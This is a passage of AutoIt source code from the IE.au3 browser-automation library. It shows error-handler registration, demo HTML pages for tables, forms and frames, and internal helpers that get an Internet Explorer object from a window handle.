  2551.         Return SetError($_iestatus_success, 0, 1)
  2552.     EndFunc
  2553.  
  2554.     Func _ieerrornotify($vnotify = Default)
  2555.         If $vnotify = Default Then Return $__g_bieerrornotify
  2556.         If $vnotify Then
  2557.             $__g_bieerrornotify = True
  2558.         Else
  2559.             $__g_bieerrornotify = False
  2560.         EndIf
  2561.         Return 1
  2562.     EndFunc
  2563.  
  2564.     Func _ieerrorhandlerregister($sfunctionname = "__IEInternalErrorHandler")
  2565.         $__g_oieerrorhandler = ObjEvent("AutoIt.Error", $sfunctionname)
  2566.         If IsObj($__g_oieerrorhandler) Then
  2567.             $__g_sieusererrorhandler = $sfunctionname
  2568.             Return SetError($_iestatus_success, 0, 1)
  2569.         Else
  2570.             $__g_oieerrorhandler = ""
  2571.             __ieconsolewriteerror("Error", "_IEErrorHandlerRegister", "$_IEStatus_GeneralError", "Error Handler Not Registered - Check existance of error function")
  2572.             Return SetError($_iestatus_generalerror, 1, 0)
  2573.         EndIf
  2574.     EndFunc
  2575.  
  2576.     Func _ieerrorhandlerderegister()
  2577.         $__g_sieusererrorhandler = ""
  2578.         $__g_oieerrorhandler = ""
  2579.         Return SetError($_iestatus_success, 0, 1)
  2580.     EndFunc
  2581.  
  2582.     Func __ieinternalerrorhandlerregister()
  2583.         Local $scurrenterrorhandler = ObjEvent("AutoIt.Error")
  2584.         If $scurrenterrorhandler <> "" AND NOT IsObj($__g_oieerrorhandler) Then
  2585.             Return SetError($_iestatus_generalerror, 0, False)
  2586.         EndIf
  2587.         $__g_oieerrorhandler = ObjEvent("AutoIt.Error", "__IEInternalErrorHandler")
  2588.         If IsObj($__g_oieerrorhandler) Then
  2589.             Return SetError($_iestatus_success, 0, True)
  2590.         Else
  2591.             $__g_oieerrorhandler = ""
  2592.             Return SetError($_iestatus_generalerror, 0, False)
  2593.         EndIf
  2594.     EndFunc
  2595.  
  2596.     Func __ieinternalerrorhandlerderegister()
  2597.         $__g_oieerrorhandler = ""
  2598.         If $__g_sieusererrorhandler <> "" Then
  2599.             $__g_oieerrorhandler = ObjEvent("AutoIt.Error", $__g_sieusererrorhandler)
  2600.         EndIf
  2601.         Return SetError($_iestatus_success, 0, 1)
  2602.     EndFunc
  2603.  
  2604.     Func __ieinternalerrorhandler($ocomerror)
  2605.         If $__g_bieerrornotify OR $__g_bieau3debug Then ConsoleWrite("--> " & __comerrorformating($ocomerror, "----> $IEComError") & @CRLF)
  2606.         SetError($_iestatus_comerror)
  2607.         Return
  2608.     EndFunc
  2609.  
  2610.     Func _iequit(ByRef $oobject)
  2611.         If NOT IsObj($oobject) Then
  2612.             __ieconsolewriteerror("Error", "_IEQuit", "$_IESTATUS_InvalidDataType")
  2613.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  2614.         EndIf
  2615.         If NOT __ieisobjtype($oobject, "browser") Then
  2616.             __ieconsolewriteerror("Error", "_IEQuit", "$_IESTATUS_InvalidObjectType")
  2617.             Return SetError($_iestatus_invalidobjecttype, 1, 0)
  2618.         EndIf
  2619.         $oobject.quit()
  2620.         If @error Then
  2621.             __ieconsolewriteerror("Error", "_IEQuit", "$_IESTATUS_COMError", @error)
  2622.             Return SetError($_iestatus_comerror, @error, 0)
  2623.         EndIf
  2624.         $oobject = 0
  2625.         Return SetError($_iestatus_success, 0, 1)
  2626.     EndFunc
  2627.  
  2628. #EndRegion Utility functions
  2629. #Region General
  2630.  
  2631.     Func _ie_introduction($smodule = "basic")
  2632.         Local $shtml = ""
  2633.         Switch $smodule
  2634.             Case "basic"
  2635.                 $shtml &= "<!DOCTYPE html>" & @CR
  2636.                 $shtml &= "<html>" & @CR
  2637.                 $shtml &= "<head>" & @CR
  2638.                 $shtml &= '<meta content="text/html; charset=UTF-8" http-equiv="content-type">' & @CR
  2639.                 $shtml &= '<title>_IE_Introduction ("basic")</title>' & @CR
  2640.                 $shtml &= "<style>body {font-family: Arial}" & @CR
  2641.                 $shtml &= "td {padding:6px}</style>" & @CR
  2642.                 $shtml &= "</head>" & @CR
  2643.                 $shtml &= "<body>" & @CR
  2644.                 $shtml &= '<table border=1 id="table1" style="width:600px;border-spacing:6px;">' & @CR
  2645.                 $shtml &= "<tr>" & @CR
  2646.                 $shtml &= "<td>" & @CR
  2647.                 $shtml &= "<h1>Welcome to IE.au3</h1>" & @CR
  2648.                 $shtml &= "IE.au3 is a UDF (User Defined Function) library for the " & @CR
  2649.                 $shtml &= '<a href="http://www.autoitscript.com">AutoIt</a> scripting language.' & @CR
  2650.                 $shtml &= "<br>  " & @CR
  2651.                 $shtml &= "IE.au3 allows you to either create or attach to an Internet Explorer browser and do " & @CR
  2652.                 $shtml &= "just about anything you could do with it interactively with the mouse and " & @CR
  2653.                 $shtml &= "keyboard, but do it through script." & @CR
  2654.                 $shtml &= "<br>" & @CR
  2655.                 $shtml &= "You can navigate to pages, click links, fill and submit forms etc. You can " & @CR
  2656.                 $shtml &= "also do things you cannot do interactively like change or rewrite page " & @CR
  2657.                 $shtml &= "content and JavaScripts, read, parse and save page content and monitor and act " & @CR
  2658.                 $shtml &= 'upon browser "events".<br>' & @CR
  2659.                 $shtml &= "IE.au3 uses the COM interface in AutoIt to interact with the Internet Explorer " & @CR
  2660.                 $shtml &= "object model and the DOM (Document Object Model) supported by the browser." & @CR
  2661.                 $shtml &= "<br>" & @CR
  2662.                 $shtml &= "Here are some links for more information and helpful tools:<br>" & @CR
  2663.                 $shtml &= "Reference Material: " & @CR
  2664.                 $shtml &= "<ul>" & @CR
  2665.                 $shtml &= '<li><a href="http://msdn1.microsoft.com/">MSDN (Microsoft Developer Network)</a></li>' & @CR
  2666.                 $shtml &= '<li><a href="http://msdn2.microsoft.com/en-us/library/aa752084.aspx" target="_blank">InternetExplorer Object</a></li>' & @CR
  2667.                 $shtml &= '<li><a href="http://msdn2.microsoft.com/en-us/library/ms531073.aspx" target="_blank">Document Object</a></li>' & @CR
  2668.                 $shtml &= '<li><a href="http://msdn2.microsoft.com/en-us/ie/aa740473.aspx" target="_blank">Overviews and Tutorials</a></li>' & @CR
  2669.                 $shtml &= '<li><a href="http://msdn2.microsoft.com/en-us/library/ms533029.aspx" target="_blank">DHTML Objects</a></li>' & @CR
  2670.                 $shtml &= '<li><a href="http://msdn2.microsoft.com/en-us/library/ms533051.aspx" target="_blank">DHTML Events</a></li>' & @CR
  2671.                 $shtml &= "</ul><br>" & @CR
  2672.                 $shtml &= "Helpful Tools: " & @CR
  2673.                 $shtml &= "<ul>" & @CR
  2674.                 $shtml &= '<li><a href="http://www.autoitscript.com/forum/index.php?showtopic=19368" target="_blank">AutoIt IE Builder</a> (build IE scripts interactively)</li>' & @CR
  2675.                 $shtml &= '<li><a href="http://www.debugbar.com/" target="_blank">DebugBar</a> (DOM inspector, HTTP inspector, HTML validator and more - free for personal use) Recommended</li>' & @CR
  2676.                 $shtml &= '<li><a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=e59c3964-672d-4511-bb3e-2d5e1db91038&amp;displaylang=en" target="_blank">IE Developer Toolbar</a> (comprehensive DOM analysis tool)</li>' & @CR
  2677.                 $shtml &= '<li><a href="http://slayeroffice.com/tools/modi/v2.0/modi_help.html" target="_blank">MODIV2</a> (view the DOM of a web page by mousing around)</li>' & @CR
  2678.                 $shtml &= '<li><a href="http://validator.w3.org/" target="_blank">HTML Validator</a> (verify HTML follows format rules)</li>' & @CR
  2679.                 $shtml &= '<li><a href="http://www.fiddlertool.com/fiddler/" target="_blank">Fiddler</a> (examine HTTP traffic)</li>' & @CR
  2680.                 $shtml &= "</ul>" & @CR
  2681.                 $shtml &= "</td>" & @CR
  2682.                 $shtml &= "</tr>" & @CR
  2683.                 $shtml &= "</table>" & @CR
  2684.                 $shtml &= "</body>" & @CR
  2685.                 $shtml &= "</html>"
  2686.             Case Else
  2687.                 __ieconsolewriteerror("Error", "_IE_Introduction", "$_IESTATUS_InvalidValue")
  2688.                 Return SetError($_iestatus_invalidvalue, 1, 0)
  2689.         EndSwitch
  2690.         Local $oobject = _iecreate()
  2691.         _iedocwritehtml($oobject, $shtml)
  2692.         Return SetError($_iestatus_success, 0, $oobject)
  2693.     EndFunc
  2694.  
  2695.     Func _ie_example($smodule = "basic")
  2696.         Local $shtml = "", $oobject
  2697.         Switch $smodule
  2698.             Case "basic"
  2699.                 $shtml &= "<!DOCTYPE html>" & @CR
  2700.                 $shtml &= "<html>" & @CR
  2701.                 $shtml &= "<head>" & @CR
  2702.                 $shtml &= '<meta content="text/html; charset=UTF-8" http-equiv="content-type">' & @CR
  2703.                 $shtml &= '<title>_IE_Example("basic")</title>' & @CR
  2704.                 $shtml &= "<style>body {font-family: Arial}</style>" & @CR
  2705.                 $shtml &= "</head>" & @CR
  2706.                 $shtml &= "<body>" & @CR
  2707.                 $shtml &= '<a href="http://www.autoitscript.com"><img src="http://www.autoitscript.com/images/logo_autoit_210x72.png" id="AutoItImage" alt="AutoIt Homepage Image" style="background: #204080;"></a>' & @CR
  2708.                 $shtml &= "<p></p>" & @CR
  2709.                 $shtml &= '<div id="line1">This is a simple HTML page with text, links and images.</div>' & @CR
  2710.                 $shtml &= "<br>" & @CR
  2711.                 $shtml &= '<div id="line2"><a href="http://www.autoitscript.com">AutoIt</a> is a wonderful automation scripting language.</div>' & @CR
  2712.                 $shtml &= "<br>" & @CR
  2713.                 $shtml &= '<div id="line3">It is supported by a very active and supporting <a href="http://www.autoitscript.com/forum/">user forum</a>.</div>' & @CR
  2714.                 $shtml &= "<br>" & @CR
  2715.                 $shtml &= '<div id="IEAu3Data"></div>' & @CR
  2716.                 $shtml &= "</body>" & @CR
  2717.                 $shtml &= "</html>"
  2718.                 $oobject = _iecreate()
  2719.                 _iedocwritehtml($oobject, $shtml)
  2720.             Case "table"
  2721.                 $shtml &= "<!DOCTYPE html>" & @CR
  2722.                 $shtml &= "<html>" & @CR
  2723.                 $shtml &= "<head>" & @CR
  2724.                 $shtml &= '<meta content="text/html; charset=utf-8" http-equiv="content-type">' & @CR
  2725.                 $shtml &= '<title>_IE_Example("table")</title>' & @CR
  2726.                 $shtml &= "<style>body {font-family: Arial}</style>" & @CR
  2727.                 $shtml &= "</head>" & @CR
  2728.                 $shtml &= "<body>" & @CR
  2729.                 $shtml &= '$oTableOne = _IETableGetObjByName($oIE, "tableOne")<br>' & @CR
  2730.                 $shtml &= '&lt;table border=1 id="tableOne"&gt;<br>' & @CR
  2731.                 $shtml &= '<table border=1 id="tableOne">' & @CR
  2732.                 $shtml &= " <tr>" & @CR
  2733.                 $shtml &= "     <td>AutoIt</td>" & @CR
  2734.                 $shtml &= "     <td>is</td>" & @CR
  2735.                 $shtml &= "     <td>really</td>" & @CR
  2736.                 $shtml &= "     <td>great</td>" & @CR
  2737.                 $shtml &= "     <td>with</td>" & @CR
  2738.                 $shtml &= "     <td>IE.au3</td>" & @CR
  2739.                 $shtml &= " </tr>" & @CR
  2740.                 $shtml &= " <tr>" & @CR
  2741.                 $shtml &= "     <td>1</td>" & @CR
  2742.                 $shtml &= "     <td>2</td>" & @CR
  2743.                 $shtml &= "     <td>3</td>" & @CR
  2744.                 $shtml &= "     <td>4</td>" & @CR
  2745.                 $shtml &= "     <td>5</td>" & @CR
  2746.                 $shtml &= "     <td>6</td>" & @CR
  2747.                 $shtml &= " </tr>" & @CR
  2748.                 $shtml &= " <tr>" & @CR
  2749.                 $shtml &= "     <td>the</td>" & @CR
  2750.                 $shtml &= "     <td>quick</td>" & @CR
  2751.                 $shtml &= "     <td>red</td>" & @CR
  2752.                 $shtml &= "     <td>fox</td>" & @CR
  2753.                 $shtml &= "     <td>jumped</td>" & @CR
  2754.                 $shtml &= "     <td>over</td>" & @CR
  2755.                 $shtml &= " </tr>" & @CR
  2756.                 $shtml &= " <tr>" & @CR
  2757.                 $shtml &= "     <td>the</td>" & @CR
  2758.                 $shtml &= "     <td>lazy</td>" & @CR
  2759.                 $shtml &= "     <td>brown</td>" & @CR
  2760.                 $shtml &= "     <td>dog</td>" & @CR
  2761.                 $shtml &= "     <td>the</td>" & @CR
  2762.                 $shtml &= "     <td>time</td>" & @CR
  2763.                 $shtml &= " </tr>" & @CR
  2764.                 $shtml &= " <tr>" & @CR
  2765.                 $shtml &= "     <td>has</td>" & @CR
  2766.                 $shtml &= "     <td>come</td>" & @CR
  2767.                 $shtml &= "     <td>for</td>" & @CR
  2768.                 $shtml &= "     <td>all</td>" & @CR
  2769.                 $shtml &= "     <td>good</td>" & @CR
  2770.                 $shtml &= "     <td>men</td>" & @CR
  2771.                 $shtml &= " </tr>" & @CR
  2772.                 $shtml &= " <tr>" & @CR
  2773.                 $shtml &= "     <td>to</td>" & @CR
  2774.                 $shtml &= "     <td>come</td>" & @CR
  2775.                 $shtml &= "     <td>to</td>" & @CR
  2776.                 $shtml &= "     <td>the</td>" & @CR
  2777.                 $shtml &= "     <td>aid</td>" & @CR
  2778.                 $shtml &= "     <td>of</td>" & @CR
  2779.                 $shtml &= " </tr>" & @CR
  2780.                 $shtml &= "</table>" & @CR
  2781.                 $shtml &= "<br>" & @CR
  2782.                 $shtml &= '$oTableTwo = _IETableGetObjByName($oIE, "tableTwo")<br>' & @CR
  2783.                 $shtml &= '&lt;table border="1" id="tableTwo"&gt;<br>' & @CR
  2784.                 $shtml &= '<table border=1 id="tableTwo">' & @CR
  2785.                 $shtml &= " <tr>" & @CR
  2786.                 $shtml &= '     <td colspan="4">Table Top</td>' & @CR
  2787.                 $shtml &= " </tr>" & @CR
  2788.                 $shtml &= " <tr>" & @CR
  2789.                 $shtml &= "     <td>One</td>" & @CR
  2790.                 $shtml &= '     <td colspan="3">Two</td>' & @CR
  2791.                 $shtml &= " </tr>" & @CR
  2792.                 $shtml &= " <tr>" & @CR
  2793.                 $shtml &= "     <td>Three</td>" & @CR
  2794.                 $shtml &= "     <td>Four</td>" & @CR
  2795.                 $shtml &= '     <td colspan="2">Five</td>' & @CR
  2796.                 $shtml &= " </tr>" & @CR
  2797.                 $shtml &= " <tr>" & @CR
  2798.                 $shtml &= "     <td>Six</td>" & @CR
  2799.                 $shtml &= '     <td colspan="3">Seven</td>' & @CR
  2800.                 $shtml &= " </tr>" & @CR
  2801.                 $shtml &= " <tr>" & @CR
  2802.                 $shtml &= "     <td>Eight</td>" & @CR
  2803.                 $shtml &= "     <td>Nine</td>" & @CR
  2804.                 $shtml &= "     <td>Ten</td>" & @CR
  2805.                 $shtml &= "     <td>Eleven</td>" & @CR
  2806.                 $shtml &= " </tr>" & @CR
  2807.                 $shtml &= "</table>" & @CR
  2808.                 $shtml &= "</body>" & @CR
  2809.                 $shtml &= "</html>"
  2810.                 $oobject = _iecreate()
  2811.                 _iedocwritehtml($oobject, $shtml)
  2812.             Case "form"
  2813.                 $shtml &= "<!DOCTYPE html>" & @CR
  2814.                 $shtml &= "<html>" & @CR
  2815.                 $shtml &= "<head>" & @CR
  2816.                 $shtml &= '<meta content="text/html; charset=UTF-8" http-equiv="content-type">' & @CR
  2817.                 $shtml &= '<title>_IE_Example("form")</title>' & @CR
  2818.                 $shtml &= "<style>body {font-family: Arial}" & @CR
  2819.                 $shtml &= "td {padding:6px}</style>" & @CR
  2820.                 $shtml &= "</head>" & @CR
  2821.                 $shtml &= "<body>" & @CR
  2822.                 $shtml &= "<form name=""ExampleForm"" onSubmit=""javascript:alert('ExampleFormSubmitted');"" method=""post"">" & @CR
  2823.                 $shtml &= '<table style="border-spacing:6px 6px;" border=1>' & @CR
  2824.                 $shtml &= "<tr>" & @CR
  2825.                 $shtml &= "<td>ExampleForm</td>" & @CR
  2826.                 $shtml &= "<td>&lt;form name=""ExampleForm"" onSubmit=""javascript:alert('ExampleFormSubmitted');"" method=""post""&gt;</td>" & @CR
  2827.                 $shtml &= "</tr>" & @CR
  2828.                 $shtml &= "<tr>" & @CR
  2829.                 $shtml &= '<td>Hidden Input Element<input type="hidden" name="hiddenExample" value="secret value"></td>' & @CR
  2830.                 $shtml &= '<td>&lt;input type="hidden" name="hiddenExample" value="secret value"&gt;</td>' & @CR
  2831.                 $shtml &= "</tr>" & @CR
  2832.                 $shtml &= "<tr>" & @CR
  2833.                 $shtml &= "<td>" & @CR
  2834.                 $shtml &= '<input type="text" name="textExample" value="http://" size="20" maxlength="30">' & @CR
  2835.                 $shtml &= "</td>" & @CR
  2836.                 $shtml &= '<td>&lt;input type="text" name="textExample" value="http://" size="20" maxlength="30"&gt;</td>' & @CR
  2837.                 $shtml &= "</tr>" & @CR
  2838.                 $shtml &= "<tr>" & @CR
  2839.                 $shtml &= "<td>" & @CR
  2840.                 $shtml &= '<input type="password" name="passwordExample" size="10">' & @CR
  2841.                 $shtml &= "</td>" & @CR
  2842.                 $shtml &= '<td>&lt;input type="password" name="passwordExample" size="10"&gt;</td>' & @CR
  2843.                 $shtml &= "</tr>" & @CR
  2844.                 $shtml &= "<tr>" & @CR
  2845.                 $shtml &= "<td>" & @CR
  2846.                 $shtml &= '<input type="file" name="fileExample">' & @CR
  2847.                 $shtml &= "</td>" & @CR
  2848.                 $shtml &= '<td>&lt;input type="file" name="fileExample"&gt;</td>' & @CR
  2849.                 $shtml &= "</tr>" & @CR
  2850.                 $shtml &= "<tr>" & @CR
  2851.                 $shtml &= "<td>" & @CR
  2852.                 $shtml &= '<input type="image" name="imageExample" alt="AutoIt Homepage" src="http://www.autoitscript.com/images/logo_autoit_210x72.png" style="background: #204080;>' & @CR
  2853.                 $shtml &= "</td>" & @CR
  2854.                 $shtml &= '<td>&lt;input type="image" name="imageExample" alt="AutoIt Homepage" src="http://www.autoitscript.com/images/logo_autoit_210x72.png"&gt;</td>' & @CR
  2855.                 $shtml &= "</tr>" & @CR
  2856.                 $shtml &= "<tr>" & @CR
  2857.                 $shtml &= "<td>" & @CR
  2858.                 $shtml &= '<textarea name="textareaExample" rows="5" cols="15">Hello!</textarea>' & @CR
  2859.                 $shtml &= "</td>" & @CR
  2860.                 $shtml &= '<td>&lt;textarea name="textareaExample" rows="5" cols="15"&gt;Hello!&lt;/textarea&gt;</td>' & @CR
  2861.                 $shtml &= "</tr>" & @CR
  2862.                 $shtml &= "<tr>" & @CR
  2863.                 $shtml &= "<td>" & @CR
  2864.                 $shtml &= '<input type="checkbox" name="checkboxG1Example" value="gameBasketball">Basketball<br>' & @CR
  2865.                 $shtml &= '<input type="checkbox" name="checkboxG1Example" value="gameFootball">Football<br>' & @CR
  2866.                 $shtml &= '<input type="checkbox" name="checkboxG2Example" value="gameTennis" checked>Tennis<br>' & @CR
  2867.                 $shtml &= '<input type="checkbox" name="checkboxG2Example" value="gameBaseball">Baseball' & @CR
  2868.                 $shtml &= "</td>" & @CR
  2869.                 $shtml &= '<td>&lt;input type="checkbox" name="checkboxG1Example" value="gameBasketball"&gt;Basketball&lt;br&gt;<br>' & @CR
  2870.                 $shtml &= '&lt;input type="checkbox" name="checkboxG1Example" value="gameFootball"&gt;Football&lt;br&gt;<br>' & @CR
  2871.                 $shtml &= '&lt;input type="checkbox" name="checkboxG2Example" value="gameTennis" checked&gt;Tennis&lt;br&gt;<br>' & @CR
  2872.                 $shtml &= '&lt;input type="checkbox" name="checkboxG2Example" value="gameBaseball"&gt;Baseball</td>' & @CR
  2873.                 $shtml &= "</tr>" & @CR
  2874.                 $shtml &= "<tr>" & @CR
  2875.                 $shtml &= "<td>" & @CR
  2876.                 $shtml &= '<input type="radio" name="radioExample" value="vehicleAirplane">Airplane<br>' & @CR
  2877.                 $shtml &= '<input type="radio" name="radioExample" value="vehicleTrain" checked>Train<br>' & @CR
  2878.                 $shtml &= '<input type="radio" name="radioExample" value="vehicleBoat">Boat<br>' & @CR
  2879.                 $shtml &= '<input type="radio" name="radioExample" value="vehicleCar">Car</td>' & @CR
  2880.                 $shtml &= '<td>&lt;input type="radio" name="radioExample" value="vehicleAirplane"&gt;Airplane&lt;br&gt;<br>' & @CR
  2881.                 $shtml &= '&lt;input type="radio" name="radioExample" value="vehicleTrain" checked&gt;Train&lt;br&gt;<br>' & @CR
  2882.                 $shtml &= '&lt;input type="radio" name="radioExample" value="vehicleBoat"&gt;Boat&lt;br&gt;<br>' & @CR
  2883.                 $shtml &= '&lt;input type="radio" name="radioExample" value="vehicleCar"&gt;Car&lt;br&gt;</td>' & @CR
  2884.                 $shtml &= "</tr>" & @CR
  2885.                 $shtml &= "<tr>" & @CR
  2886.                 $shtml &= "<td>" & @CR
  2887.                 $shtml &= '<select name="selectExample">' & @CR
  2888.                 $shtml &= '<option value="homepage.html">Homepage' & @CR
  2889.                 $shtml &= '<option value="midipage.html">Midipage' & @CR
  2890.                 $shtml &= '<option value="freepage.html">Freepage' & @CR
  2891.                 $shtml &= "</select>" & @CR
  2892.                 $shtml &= "</td>" & @CR
  2893.                 $shtml &= '<td>&lt;select name="selectExample"&gt;<br>' & @CR
  2894.                 $shtml &= '&lt;option value="homepage.html"&gt;Homepage<br>' & @CR
  2895.                 $shtml &= '&lt;option value="midipage.html"&gt;Midipage<br>' & @CR
  2896.                 $shtml &= '&lt;option value="freepage.html"&gt;Freepage<br>' & @CR
  2897.                 $shtml &= "&lt;/select&gt;</td>" & @CR
  2898.                 $shtml &= "</tr>" & @CR
  2899.                 $shtml &= "<tr>" & @CR
  2900.                 $shtml &= "<td>" & @CR
  2901.                 $shtml &= '<select name="multipleSelectExample" size="6" multiple>' & @CR
  2902.                 $shtml &= '<option value="Name1">Aaron' & @CR
  2903.                 $shtml &= '<option value="Name2">Bruce' & @CR
  2904.                 $shtml &= '<option value="Name3">Carlos' & @CR
  2905.                 $shtml &= '<option value="Name4">Denis' & @CR
  2906.                 $shtml &= '<option value="Name5">Ed' & @CR
  2907.                 $shtml &= '<option value="Name6">Freddy' & @CR
  2908.                 $shtml &= "</select>" & @CR
  2909.                 $shtml &= "</td>" & @CR
  2910.                 $shtml &= '<td>&lt;select name="multipleSelectExample" size="6" multiple&gt;<br>' & @CR
  2911.                 $shtml &= '&lt;option value="Name1"&gt;Aaron<br>' & @CR
  2912.                 $shtml &= '&lt;option value="Name2"&gt;Bruce<br>' & @CR
  2913.                 $shtml &= '&lt;option value="Name3"&gt;Carlos<br>' & @CR
  2914.                 $shtml &= '&lt;option value="Name4"&gt;Denis<br>' & @CR
  2915.                 $shtml &= '&lt;option value="Name5"&gt;Ed<br>' & @CR
  2916.                 $shtml &= '&lt;option value="Name6"&gt;Freddy<br>' & @CR
  2917.                 $shtml &= "&lt;/select&gt;</td>" & @CR
  2918.                 $shtml &= "</tr>" & @CR
  2919.                 $shtml &= "<tr>" & @CR
  2920.                 $shtml &= "<td>" & @CR
  2921.                 $shtml &= '<input name="submitExample" type="submit" value="Submit">' & @CR
  2922.                 $shtml &= '<input name="resetExample" type="reset" value="Reset">' & @CR
  2923.                 $shtml &= "</td>" & @CR
  2924.                 $shtml &= '<td>&lt;input name="submitExample" type="submit" value="Submit"&gt;<br>' & @CR
  2925.                 $shtml &= '&lt;input name="resetExample" type="reset" value="Reset"&gt;</td>' & @CR
  2926.                 $shtml &= "</tr>" & @CR
  2927.                 $shtml &= "</table>" & @CR
  2928.                 $shtml &= '<input type="hidden" name="hiddenExample" value="secret value">' & @CR
  2929.                 $shtml &= "</form>" & @CR
  2930.                 $shtml &= "</body>" & @CR
  2931.                 $shtml &= "</html>"
  2932.                 $oobject = _iecreate()
  2933.                 _iedocwritehtml($oobject, $shtml)
  2934.             Case "frameset"
  2935.                 $shtml &= "<!DOCTYPE html>" & @CR
  2936.                 $shtml &= "<html>" & @CR
  2937.                 $shtml &= "<head>" & @CR
  2938.                 $shtml &= '<meta content="text/html; charset=UTF-8" http-equiv="content-type">' & @CR
  2939.                 $shtml &= '<title>_IE_Example("frameset")</title>' & @CR
  2940.                 $shtml &= "</head>" & @CR
  2941.                 $shtml &= '<frameset rows="25,200">' & @CR
  2942.                 $shtml &= " <frame name=Top SRC=about:blank>" & @CR
  2943.                 $shtml &= ' <frameset cols="100,500">' & @CR
  2944.                 $shtml &= "     <frame name=Menu SRC=about:blank>" & @CR
  2945.                 $shtml &= "     <frame name=Main SRC=about:blank>" & @CR
  2946.                 $shtml &= " </frameset>" & @CR
  2947.                 $shtml &= "</frameset>" & @CR
  2948.                 $shtml &= "</html>"
  2949.                 $oobject = _iecreate()
  2950.                 _iedocwritehtml($oobject, $shtml)
  2951.                 _ieaction($oobject, "refresh")
  2952.                 Local $oframetop = _ieframegetobjbyname($oobject, "Top")
  2953.                 Local $oframemenu = _ieframegetobjbyname($oobject, "Menu")
  2954.                 Local $oframemain = _ieframegetobjbyname($oobject, "Main")
  2955.                 _iebodywritehtml($oframetop, '$oFrameTop = _IEFrameGetObjByName($oIE, "Top")')
  2956.                 _iebodywritehtml($oframemenu, '$oFrameMenu = _IEFrameGetObjByName($oIE, "Menu")')
  2957.                 _iebodywritehtml($oframemain, '$oFrameMain = _IEFrameGetObjByName($oIE, "Main")')
  2958.             Case "iframe"
  2959.                 $shtml &= "<!DOCTYPE html>" & @CR
  2960.                 $shtml &= "<html>" & @CR
  2961.                 $shtml &= "<head>" & @CR
  2962.                 $shtml &= '<meta content="text/html; charset=UTF-8" http-equiv="content-type">' & @CR
  2963.                 $shtml &= '<title>_IE_Example("iframe")</title>' & @CR
  2964.                 $shtml &= "<style>td {padding:6px}</style>" & @CR
  2965.                 $shtml &= "</head>" & @CR
  2966.                 $shtml &= "<body>" & @CR
  2967.                 $shtml &= '<table style="border-spacing:6px" border=1>' & @CR
  2968.                 $shtml &= "<tr>" & @CR
  2969.                 $shtml &= '<td><iframe name="iFrameOne" src="about:blank" title="iFrameOne"></iframe></td>' & @CR
  2970.                 $shtml &= '<td>&lt;iframe name="iFrameOne" src="about:blank" title="iFrameOne"&gt;</td>' & @CR
  2971.                 $shtml &= "</tr>" & @CR
  2972.                 $shtml &= "<tr>" & @CR
  2973.                 $shtml &= '<td><iframe name="iFrameTwo" src="about:blank" title="iFrameTwo"></iframe></td>' & @CR
  2974.                 $shtml &= '<td>&lt;iframe name="iFrameTwo" src="about:blank" title="iFrameTwo"&gt;</td>' & @CR
  2975.                 $shtml &= "</tr>" & @CR
  2976.                 $shtml &= "</table>" & @CR
  2977.                 $shtml &= "</body>" & @CR
  2978.                 $shtml &= "</html>"
  2979.                 $oobject = _iecreate()
  2980.                 _iedocwritehtml($oobject, $shtml)
  2981.                 _ieaction($oobject, "refresh")
  2982.                 Local $oiframeone = _ieframegetobjbyname($oobject, "iFrameOne")
  2983.                 Local $oiframetwo = _ieframegetobjbyname($oobject, "iFrameTwo")
  2984.                 _iebodywritehtml($oiframeone, '$oIFrameOne = _IEFrameGetObjByName($oIE, "iFrameOne")')
  2985.                 _iebodywritehtml($oiframetwo, '$oIFrameTwo = _IEFrameGetObjByName($oIE, "iFrameTwo")')
  2986.             Case Else
  2987.                 __ieconsolewriteerror("Error", "_IE_Example", "$_IESTATUS_InvalidValue")
  2988.                 Return SetError($_iestatus_invalidvalue, 1, 0)
  2989.         EndSwitch
  2990.         Sleep(500)
  2991.         Return SetError($_iestatus_success, 0, $oobject)
  2992.     EndFunc
  2993.  
  2994.     Func _ie_versioninfo()
  2995.         __ieconsolewriteerror("Information", "_IE_VersionInfo", "version " & $__gaieau3versioninfo[0] & $__gaieau3versioninfo[1] & "." & $__gaieau3versioninfo[2] & "-" & $__gaieau3versioninfo[3], "Release date: " & $__gaieau3versioninfo[4])
  2996.         Return SetError($_iestatus_success, 0, $__gaieau3versioninfo)
  2997.     EndFunc
  2998.  
  2999. #EndRegion General
  3000. #Region Internal functions
  3001.  
  3002.     Func __ielocksetforegroundwindow($ilockcode)
  3003.         Local $aret = DllCall("user32.dll", "bool", "LockSetForegroundWindow", "uint", $ilockcode)
  3004.         If @error OR NOT $aret[0] Then Return SetError(1, _winapi_getlasterror(), 0)
  3005.         Return $aret[0]
  3006.     EndFunc
  3007.  
  3008.     Func __iecontrolgetobjfromhwnd(ByRef $hwin)
  3009.         DllCall("ole32.dll", "long", "CoInitialize", "ptr", 0)
  3010.         If @error Then Return SetError(2, @error, 0)
  3011.         Local Const $wm_html_getobject = __ieregisterwindowmessage("WM_HTML_GETOBJECT")
  3012.         Local Const $smto_abortifhung = 2
  3013.         Local $iresult
  3014.         __iesendmessagetimeout($hwin, $wm_html_getobject, 0, 0, $smto_abortifhung, 1000, $iresult)
  3015.         Local $tuuid = DllStructCreate("int;short;short;byte[8]")
  3016.         DllStructSetData($tuuid, 1, 1651492128)
  3017.         DllStructSetData($tuuid, 2, 42014)
  3018.         DllStructSetData($tuuid, 3, 4559)
  3019.         DllStructSetData($tuuid, 4, 167, 1)
  3020.         DllStructSetData($tuuid, 4, 49, 2)
  3021.         DllStructSetData($tuuid, 4, 0, 3)
  3022.         DllStructSetData($tuuid, 4, 160, 4)
  3023.         DllStructSetData($tuuid, 4, 201, 5)
  3024.         DllStructSetData($tuuid, 4, 8, 6)
  3025.         DllStructSetData($tuuid, 4, 38, 7)
  3026.         DllStructSetData($tuuid, 4, 55, 8)
  3027.         Local $aret = DllCall("oleacc.dll", "long", "ObjectFromLresult", "lresult", $iresult, "struct*", $tuuid, "wparam", 0, "idispatch*", 0)
  3028.         If @error Then Return SetError(3, @error, 0)
  3029.         If IsObj($aret[4]) Then
  3030.             Local $oie = $aret[4].script()
  3031.             Return $oie.document.parentwindow
  3032.         Else
  3033.             Return SetError(1, $aret[0], 0)
  3034.         EndIf
  3035.     EndFunc
  3036.  
  3037.     Func __ieregisterwindowmessage($smsg)
  3038.         Local $aret = DllCall("user32.dll", "uint", "RegisterWindowMessageW", "wstr", $smsg)
  3039.         If @error Then Return SetError(@error, @extended, 0)
  3040.         If $aret[0] = 0 Then Return SetError(10, _winapi_getlasterror(), 0)
  3041.         Return $aret[0]
  3042.     EndFunc
  3043.  
